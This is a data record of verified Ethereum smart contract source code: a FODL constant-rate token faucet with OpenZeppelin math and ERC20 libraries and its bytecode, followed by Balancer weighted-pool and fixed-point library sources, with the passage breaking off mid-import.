// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; /** * @notice A decentralised smart-contract that transfers fodl from the treasury to the single sided * staking contract at a constant rate, i.e. emissionRate = 50M / 3 years = 0.52849653306 FODL / second */ contract ConstantFaucet { using SafeMath for uint256; ///@dev State variables uint256 public amountDistributed; uint256 public lastUpdateTime; ///@dev Immutables IERC20 public immutable fodl; address public immutable treasury; address public immutable target; uint256 public immutable finishTime; ///@dev Constants uint256 public constant TOTAL_FODL = 50e24; // 50M Fodl uint256 public constant DURATION = 94608000; // 3 years in seconds constructor( IERC20 _fodl, address _treasury, address _target, uint256 _startTime ) public { fodl = _fodl; treasury = _treasury; target = _target; lastUpdateTime = _startTime; finishTime = _startTime.add(DURATION); } function distributeFodl() external returns (uint256 amount) { require(now < finishTime, 'Faucet expired!'); uint256 elapsed = now.sub(lastUpdateTime); amount = elapsed.mul(TOTAL_FODL).div(DURATION); fodl.transferFrom(treasury, target, amount); lastUpdateTime = now; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c806328c18c241161006657806328c18c24146101105780635958611e1461014457806361d027b314610162578063c8f33c9114610196578063d4b83992146101b457610093565b806315b1332914610098578063193f660c146100b657806319b6beb4146100d45780631be05289146100f2575b600080fd5b6100a06101e8565b6040518082815260200191505060405180910390f35b6100be6101f7565b6040518082815260200191505060405180910390f35b6100dc6101fd565b6040518082815260200191505060405180910390f35b6100fa610419565b6040518082815260200191505060405180910390f35b610118610421565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61014c610445565b6040518082815260200191505060405180910390f35b61016a610469565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61019e61048d565b6040518082815260200191505060405180910390f35b6101bc610493565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6a295be96e6406697200000081565b60005481565b60007f00000000000000000000000000000000000000000000000000000000674aa9e04210610294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f466175636574206578706972656421000000000000000000000000000000000081525060200191505060405180910390fd5b60006102ab6001544261053f90919063ffffffff16565b90506102e16305a39a806102d36a295be96e64066972000000846105c290919063ffffffff16565b61064890919063ffffffff16565b91507f0000000000000000000000004c2e59d098df7b6cbae0848d66de2f8a4889b9c373ffffffffffffffffffffffffffffffffffffffff166323b872dd7f000000000000000000000000aa2312935201146555078e2a6c0b0feaaee434527f0000000000000000000000007e05540a61b531793742fde0514e6c136b5fbafe856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156103d257600080fd5b505af11580156103e6573d6000803e3d6000fd5b505050506040513d60208110156103fc57600080fd5b810190808051906020019092919050505050426001819055505090565b6305a39a8081565b7f0000000000000000000000004c2e59d098df7b6cbae0848d66de2f8a4889b9c381565b7f00000000000000000000000000000000000000000000000000000000674aa9e081565b7f000000000000000000000000aa2312935201146555078e2a6c0b0feaaee4345281565b60015481565b7f0000000000000000000000007e05540a61b531793742fde0514e6c136b5fbafe81565b600080828401905083811015610535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000828211156105b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b6000808314156105d55760009050610642565b60008284029050828482816105e657fe5b041461063d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806106d26021913960400191505060405180910390fd5b809150505b92915050565b60008082116106bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b8183816106c857fe5b0490509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b2c826740e0eb35c5a0a215d3c0b5f4b3379b6f2e6db7b314d75f2fd55c835f864736f6c634300060c0033
[ 16, 7 ]
0xf2b7794b89ea4fd2abfe66dcb6529a27c03d429e
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; import "@balancer-labs/v2-pool-utils/contracts/BaseMinimalSwapInfoPool.sol"; import "./WeightedMath.sol"; import "./WeightedPoolUserDataHelpers.sol"; /** * @dev Base class for WeightedPools containing swap, join and exit logic, but leaving storage and management of * the weights to subclasses. Derived contracts can choose to make weights immutable, mutable, or even dynamic * based on local or external logic. */ abstract contract BaseWeightedPool is BaseMinimalSwapInfoPool, WeightedMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; uint256 private _lastInvariant; enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT } enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT } constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, address[] memory assetManagers, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BasePool( vault, // Given BaseMinimalSwapInfoPool supports both of these specializations, and this Pool never registers or // deregisters any tokens after construction, picking Two Token when the Pool only has two tokens is free // gas savings. tokens.length == 2 ? IVault.PoolSpecialization.TWO_TOKEN : IVault.PoolSpecialization.MINIMAL_SWAP_INFO, name, symbol, tokens, assetManagers, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // solhint-disable-previous-line no-empty-blocks } // Virtual functions /** * @dev Returns the normalized weight of `token`. Weights are fixed point numbers that sum to FixedPoint.ONE. */ function _getNormalizedWeight(IERC20 token) internal view virtual returns (uint256); /** * @dev Returns all normalized weights, in the same order as the Pool's tokens. */ function _getNormalizedWeights() internal view virtual returns (uint256[] memory); /** * @dev Returns all normalized weights, in the same order as the Pool's tokens, along with the index of the token * with the highest weight. */ function _getNormalizedWeightsAndMaxWeightIndex() internal view virtual returns (uint256[] memory, uint256); function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances, _scalingFactors()); (uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function getNormalizedWeights() external view returns (uint256[] memory) { return _getNormalizedWeights(); } // Base Pool handlers // Swap function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, _getNormalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _getNormalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, _getNormalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _getNormalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } // Initialize function _onInitializePool( bytes32, address, address, uint256[] memory scalingFactors, bytes memory userData ) internal virtual override whenNotPaused returns (uint256, uint256[] memory) { // It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent // initialization in this case. JoinKind kind = userData.joinKind(); _require(kind == JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, scalingFactors); (uint256[] memory normalizedWeights, ) = _getNormalizedWeightsAndMaxWeightIndex(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens()); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } // Join function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual override whenNotPaused returns ( uint256, uint256[] memory, uint256[] memory ) { // All joins are disabled while the contract is paused. (uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, maxWeightTokenIndex, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin( balances, normalizedWeights, scalingFactors, userData ); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory scalingFactors, bytes memory userData ) private view returns (uint256, uint256[] memory) { JoinKind kind = userData.joinKind(); if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, scalingFactors, userData); } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory scalingFactors, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, scalingFactors); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), getSwapFeePercentage() ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](_getTotalTokens()); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), getSwapFeePercentage() ); return (bptAmountOut, amountsIn); } // Exit function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal virtual override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { (uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) = _getNormalizedWeightsAndMaxWeightIndex(); // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. if (_isNotPaused()) { // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, maxWeightTokenIndex, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and // reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, scalingFactors, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory scalingFactors, bytes memory userData ) private view returns (uint256, uint256[] memory) { ExitKind kind = userData.exitKind(); if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, scalingFactors, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](_getTotalTokens()); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), getSwapFeePercentage() ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory scalingFactors, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens()); _upscaleArray(amountsOut, scalingFactors); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), getSwapFeePercentage() ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[maxWeightTokenIndex], normalizedWeights[maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All * amounts are expected to be upscaled. */ function _invariantAfterJoin( uint256[] memory balances, uint256[] memory amountsIn, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsIn, FixedPoint.add); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function _invariantAfterExit( uint256[] memory balances, uint256[] memory amountsOut, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsOut, FixedPoint.sub); return WeightedMath._calculateInvariant(normalizedWeights, balances); } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { toMutate[i] = mutation(toMutate[i], arguments[i]); } } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply()); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BasePool.sol"; import 